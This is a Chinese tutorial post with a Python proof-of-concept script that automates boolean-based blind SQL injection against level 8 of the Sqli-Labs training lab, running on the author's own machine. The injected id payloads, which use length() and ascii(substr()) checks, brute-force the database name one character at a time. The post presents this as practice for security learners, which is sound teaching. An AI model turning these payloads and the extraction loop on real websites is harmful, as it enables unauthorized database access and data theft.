文章目录
概要
Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。
本章适合人群:
- 网安专业学生
- 报班学习网安内容的同学
- 提高写POC能力的网安从业者
整体架构流程
因为是sqli-labs的第8关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。
整体流程主要是仿爬虫的形式访问网页,但第8关有所不同的点是他需要类似爆破的操作。
且我没有对上面的数据库最大长度进行安全校验,这个是这个代码最大的漏洞。
有兴趣的小伙伴可以自行添加。
技术细节
import re
import requests
headers = {
'Host': 'sql:8081',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
pattern = r"You are in\.*"
url = 'http://sql:8081'
def brute_dblength():
try:
# 获取用户输入的最大长度
max_dblength = int(input('数据库可能长度:').strip())
except ValueError:
print("请输入一个有效的数字")
return None
dblength = 1
while dblength <= max_dblength:
params = {
'id': f"1' and length(database())={dblength}-- -"
}
try:
response = requests.get(url + "/Less-8/", headers=headers, params=params, verify=False)
html_content = response.text
match = re.search(pattern, html_content)
if match:
print(f'{url} 存在漏洞,数据库长度为 {dblength}')
return dblength
else:
dblength += 1
except requests.RequestException as e:
print(f'Error scanning {url}: {e}')
return None
print(f'数据库长度大于 {max_dblength},请尝试增加最大长度。')
return None
def brute_dbname(dblength):
dict_list = []
for option1 in range(1, dblength + 1):
found = False
for number1 in range(97, 123, 1): # 小写字母a-z
params = {
'id': f"1' and ascii(substr((select database()),{option1},1))={number1}-- -"
}
try:
response = requests.get(url + "/Less-8/", headers=headers, params=params, verify=False)
html_content = response.text
match = re.search(pattern, html_content)
if match:
print(f'{url} 存在漏洞,数据库第 {option1} 个字母对应的ASCII码为 {number1}')
dict_list.append(chr(number1)) # 将ASCII码转换为字符并添加到列表中
found = True
break # 找到字符后跳出内层循环,检查下一个位置
except requests.RequestException as e:
print(f'Error scanning {url}: {e}')
return None
if not found:
print(f'数据库名称的第 {option1} 个字符未找到匹配。')
return None
dbname = ''.join(dict_list)
print(f'数据库名称为: {dbname}')
return dbname
# 获取数据库名称长度
dblength = brute_dblength()
if dblength:
# 利用数据库名称长度进一步获取数据库名称
brute_dbname(dblength)
执行效果
小结
由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。
且想输出不一样的文件内容格式,也可以进行微调整。
最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。